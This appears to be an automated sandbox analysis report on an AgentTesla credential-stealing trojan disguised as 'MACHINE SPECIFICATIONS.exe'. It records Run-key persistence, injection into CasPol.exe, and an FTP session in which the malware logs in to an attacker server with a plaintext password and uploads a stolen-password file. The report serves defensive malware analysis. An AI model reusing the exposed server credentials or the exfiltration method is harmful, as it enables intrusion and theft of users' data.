IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.195.62.160	ftp.electrobist.com	France		16276	OVHFR	true
3.220.57.224	api.ipify.org.herokudns.com	United States		14618	AMAZON-AESUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	755960
Start date and time:	2022-11-29 11:18:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	MACHINE SPECIFICATIONS.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@3/3
EGA Information:	Successful, ratio: 33.3%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 67.27.158.254, 8.248.135.254, 8.241.123.126, 8.248.143.254, 67.27.157.254
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net
Execution Graph export aborted for target newapp.exe, PID 4272 because it is empty
Execution Graph export aborted for target newapp.exe, PID 676 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:19:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run newapp C:\Users\user\AppData\Roaming\newapp\newapp.exe
11:20:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run newapp C:\Users\user\AppData\Roaming\newapp\newapp.exe
11:20:12	API Interceptor	1137x Sleep call for process: CasPol.exe modified

Process:	C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.374391981354885
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTxAIOKbbDLI4MWuPOKN08JOKhap+92n4MNQpN9tv:ML9E4KrgKDE4KGKN08AKh6+84xpNT
MD5:	C8A62E39DE7A3F805D39384E8BABB1E0
SHA1:	B32B1257401F17A2D1D5D3CC1D8C1E072E3FEE31
SHA-256:	A7BC127854C5327ABD50C86000BF10586B556A5E085BB23523B07A15DD4C5383
SHA-512:	7DB2825131F5CDA6AF33A179D9F7CD0A206FF34AE50D6E66DE9E99BE2CD1CB985B88C00F0EDE72BBC4467E7E42B5DC6132403AA2EC1A0A7A6D11766C438B10C3
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\f2e0589ed6d670f264a5f65dd0ad000f\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\newapp.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\newapp\newapp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Roaming\newapp\newapp.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	107624
Entropy (8bit):	5.882571203162287
Encrypted:	false
SSDEEP:	1536:oSF7vA1hRqHixxMjlI34j8p2mdc/6A4vW/CU1RPMRVQJE:/A1hDPMip2mdcyA4vW/JRPMLQW
MD5:	F866FC1C2E928779C7119353C3091F0C
SHA1:	70D06064E2F12CFB10A82BC985F86F58EA7A4138
SHA-256:	67F3FC243C58EEAE55BDDC22CE025B7841A89ACA2E201B999D8C0E4F07D177B8
SHA-512:	B28B10801580726B85AB5F796EA26835648A3ACFBE1FBA95DFC687439B43FF9548BD3AB9EFC85D88FC071D232718BCFFAC614CC5BFF159173996A3D2AB22154D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...rX.Z..............0..X...........v... ........@.. ..............................Q.....`.................................<v..O.......$............f..h>...........u............................................... ............... ..H............text....V... ...X.................. ..`.rsrc...$............Z..............@..@.reloc...............d..............@..B................pv......H.......,...`...............xE...t......................................2~P....o.....r...p(....VrK..p(....s.....P...*..0.._.......~....:O....>.....%.rm..p...A...s......su....%.r...p...A...s....rm..p.su....%.r...p...B...s......su....%.r...p...B...s....r...p.su....%.r...p...C...s......su....%.r...p...C...s....r...p.su....%.r...p...D...s......su....%.r...p...D...s....r...p.su....%.r...p...E...s......su....%..r...p...E...s....r...p.su....%..r...p...F...s......su....%..r...p...F

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\newapp\newapp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	486
Entropy (8bit):	5.064987733454706
Encrypted:	false
SSDEEP:	12:z30U30b4BFNY8fNFquci7S1pE+DPOCN6+QOH5JyY:z3F3g4DO4UE+Tz5JB
MD5:	30394F72BB157162F35A2DEB1F48BD1A
SHA1:	66AD7D748F42C64E0698606A8F019D165DE657E8
SHA-256:	133FABF0CD558FA3E5144E9EF35654FA0422F8424C6D5D82828B8D10EC9BA295
SHA-512:	A93E12D6C9927403FE0E20B8A698B24007EBCCD53A29AD65428366C6CE3CED05E5F3AEFF1D46C7D9F174EAEAE5059F0B5D12353B6022965CDC5D187E45FA72E9
Malicious:	false
Preview:	Microsoft .NET Framework CasPol 4.7.3056.0..for Microsoft .NET Framework version 4.7.3056.0..Copyright (C) Microsoft Corporation. All rights reserved.....WARNING: The .NET Framework does not apply CAS policy by default. Any settings shown or modified by CasPol will only ..affect applications that opt into using CAS policy. ....Please see http://go.microsoft.com/fwlink/?LinkId=131738 for more information. ......ERROR: Not enough arguments....For usage information, use 'caspol -?'..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.979738488629949
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MACHINE SPECIFICATIONS.exe
File size:	523776
MD5:	92945d0a2731ef771ea9d10c792e03e1
SHA1:	1eeef600b7b51ce7aa93e825be55b40f3ef8e319
SHA256:	46b61250c34b38d26ac5897217e6b70a222ff16318161c4e67c74c74491cc612
SHA512:	33ff6835de8b3a4a0002669deb68acf14a770e7546c2250eb6cdcde2ad4841891f504faa77427e864d1b7758481864189039beb8ec9d926f5804bd7da30a5fb2
SSDEEP:	12288:BxNQOgJk4hl4vPE1suvqvku873X9BsILNILZoRPzre:BxNi6MlzX9BsILNILZoFre
TLSH:	F7B4235560BB2097E21682344A275FA211E4AE2325E6BD4FE3DCBD0F5F732402E39766
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...$..c.........."...0......B........... ....@...... .......................@............`................................

File Icon


Icon Hash:	c49a0894909c6494

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x63800824 [Fri Nov 25 00:11:16 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7e000	0x40a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7d864	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7b8d3	0x7ba00	False	0.9942492416582407	data	7.996815914318105	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x7e000	0x40a0	0x4200	False	0.4485677083333333	data	5.797210494950491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x7e190	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024
RT_ICON	0x7e5f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096
RT_ICON	0x7f6a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216
RT_GROUP_ICON	0x81c48	0x30	data
RT_VERSION	0x81c78	0x23c	data
RT_MANIFEST	0x81eb4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.351.195.62.16049702212029927 11/29/22-11:20:12.397759	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49702	21	192.168.2.3	51.195.62.160
192.168.2.351.195.62.16049703522592851779 11/29/22-11:20:12.420526	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49703	52259	192.168.2.3	51.195.62.160

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 11:19:53.759691000 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:53.759767056 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:53.759933949 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:53.807363987 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:53.807424068 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.121747017 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.122018099 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:54.132211924 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:54.132246971 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.132662058 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.338932991 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.339055061 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:54.616307974 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:54.616383076 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.763174057 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.763329983 CET	443	49701	3.220.57.224	192.168.2.3
Nov 29, 2022 11:19:54.763463974 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:19:54.767330885 CET	49701	443	192.168.2.3	3.220.57.224
Nov 29, 2022 11:20:12.212491989 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.231043100 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.231232882 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.250191927 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.250646114 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.269145012 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.269206047 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.269444942 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.296277046 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.296541929 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.314970016 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.315330029 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.333745003 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.334007978 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.352402925 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.354644060 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.373279095 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.378772974 CET	49703	52259	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.397347927 CET	52259	49703	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.397562027 CET	49703	52259	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.397758961 CET	49702	21	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.416052103 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.420526028 CET	49703	52259	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.420638084 CET	49703	52259	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.438709974 CET	52259	49703	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.438776970 CET	52259	49703	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.438832998 CET	21	49702	51.195.62.160	192.168.2.3
Nov 29, 2022 11:20:12.438872099 CET	49703	52259	192.168.2.3	51.195.62.160
Nov 29, 2022 11:20:12.438963890 CET	49702	21	192.168.2.3	51.195.62.160

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 11:19:53.677805901 CET	57990	53	192.168.2.3	8.8.8.8
Nov 29, 2022 11:19:53.695560932 CET	53	57990	8.8.8.8	192.168.2.3
Nov 29, 2022 11:19:53.711530924 CET	52387	53	192.168.2.3	8.8.8.8
Nov 29, 2022 11:19:53.730598927 CET	53	52387	8.8.8.8	192.168.2.3
Nov 29, 2022 11:20:12.084580898 CET	56924	53	192.168.2.3	8.8.8.8
Nov 29, 2022 11:20:12.209414005 CET	53	56924	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2022 11:19:53.677805901 CET	192.168.2.3	8.8.8.8	0xfd66	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.711530924 CET	192.168.2.3	8.8.8.8	0x6f4	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:20:12.084580898 CET	192.168.2.3	8.8.8.8	0xa066	Standard query (0)	ftp.electrobist.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2022 11:18:50.334419966 CET	8.8.8.8	192.168.2.3	0xd9b5	No error (0)	au.c-0001.c-msedge.net	c-0001.c-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2022 11:18:50.334419966 CET	8.8.8.8	192.168.2.3	0xd9b5	No error (0)	c-0001.c-msedge.net		13.107.4.50	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.695560932 CET	8.8.8.8	192.168.2.3	0xfd66	No error (0)	api.ipify.org	api.ipify.org.herokudns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2022 11:19:53.695560932 CET	8.8.8.8	192.168.2.3	0xfd66	No error (0)	api.ipify.org.herokudns.com		3.220.57.224	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.695560932 CET	8.8.8.8	192.168.2.3	0xfd66	No error (0)	api.ipify.org.herokudns.com		52.20.78.240	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.695560932 CET	8.8.8.8	192.168.2.3	0xfd66	No error (0)	api.ipify.org.herokudns.com		3.232.242.170	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.695560932 CET	8.8.8.8	192.168.2.3	0xfd66	No error (0)	api.ipify.org.herokudns.com		54.91.59.199	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.730598927 CET	8.8.8.8	192.168.2.3	0x6f4	No error (0)	api.ipify.org	api.ipify.org.herokudns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2022 11:19:53.730598927 CET	8.8.8.8	192.168.2.3	0x6f4	No error (0)	api.ipify.org.herokudns.com		54.91.59.199	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.730598927 CET	8.8.8.8	192.168.2.3	0x6f4	No error (0)	api.ipify.org.herokudns.com		3.220.57.224	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.730598927 CET	8.8.8.8	192.168.2.3	0x6f4	No error (0)	api.ipify.org.herokudns.com		3.232.242.170	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:19:53.730598927 CET	8.8.8.8	192.168.2.3	0x6f4	No error (0)	api.ipify.org.herokudns.com		52.20.78.240	A (IP address)	IN (0x0001)	false
Nov 29, 2022 11:20:12.209414005 CET	8.8.8.8	192.168.2.3	0xa066	No error (0)	ftp.electrobist.com		51.195.62.160	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 29, 2022 11:20:12.250191927 CET	21	49702	51.195.62.160	192.168.2.3	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 29, 2022 11:20:12.250646114 CET	49702	21	192.168.2.3	51.195.62.160	USER user1@electrobist.com
Nov 29, 2022 11:20:12.269206047 CET	21	49702	51.195.62.160	192.168.2.3	331 User user1@electrobist.com OK. Password required
Nov 29, 2022 11:20:12.269444942 CET	49702	21	192.168.2.3	51.195.62.160	PASS w&oNc9e]pf~4
Nov 29, 2022 11:20:12.296277046 CET	21	49702	51.195.62.160	192.168.2.3	230 OK. Current restricted directory is /
Nov 29, 2022 11:20:12.314970016 CET	21	49702	51.195.62.160	192.168.2.3	504 Unknown command
Nov 29, 2022 11:20:12.315330029 CET	49702	21	192.168.2.3	51.195.62.160	PWD
Nov 29, 2022 11:20:12.333745003 CET	21	49702	51.195.62.160	192.168.2.3	257 "/" is your current location
Nov 29, 2022 11:20:12.334007978 CET	49702	21	192.168.2.3	51.195.62.160	TYPE I
Nov 29, 2022 11:20:12.352402925 CET	21	49702	51.195.62.160	192.168.2.3	200 TYPE is now 8-bit binary
Nov 29, 2022 11:20:12.354644060 CET	49702	21	192.168.2.3	51.195.62.160	PASV
Nov 29, 2022 11:20:12.373279095 CET	21	49702	51.195.62.160	192.168.2.3	227 Entering Passive Mode (51,195,62,160,204,35)
Nov 29, 2022 11:20:12.397758961 CET	49702	21	192.168.2.3	51.195.62.160	STOR PW_user-965543_2022_11_29_11_20_10.html
Nov 29, 2022 11:20:12.416052103 CET	21	49702	51.195.62.160	192.168.2.3	150 Accepted data connection
Nov 29, 2022 11:20:12.438832998 CET	21	49702	51.195.62.160	192.168.2.3	226-File successfully transferred 226-File successfully transferred226 0.023 seconds (measured here), 19.62 Kbytes per second

Target ID:	0
Start time:	11:18:56
Start date:	29/11/2022
Path:	C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe
Imagebase:	0x19218000000
File size:	523776 bytes
MD5 hash:	92945D0A2731EF771EA9D10C792E03E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Analysis Process: CasPol.exePID: 688, Parent PID: 6128

General

Target ID:	10
Start time:	11:19:46
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Imagebase:	0x10000
File size:	107624 bytes
MD5 hash:	F866FC1C2E928779C7119353C3091F0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: newapp.exePID: 4272, Parent PID: 3452

General

Target ID:	11
Start time:	11:20:05
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\newapp\newapp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\newapp\newapp.exe"
Imagebase:	0x800000
File size:	107624 bytes
MD5 hash:	F866FC1C2E928779C7119353C3091F0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate

Analysis Process: conhost.exePID: 4764, Parent PID: 4272

General

Target ID:	12
Start time:	11:20:05
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: newapp.exePID: 676, Parent PID: 3452

General

Target ID:	13
Start time:	11:20:13
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\newapp\newapp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\newapp\newapp.exe"
Imagebase:	0x490000
File size:	107624 bytes
MD5 hash:	F866FC1C2E928779C7119353C3091F0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Analysis Process: conhost.exePID: 6132, Parent PID: 676

General

Target ID:	14
Start time:	11:20:14
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

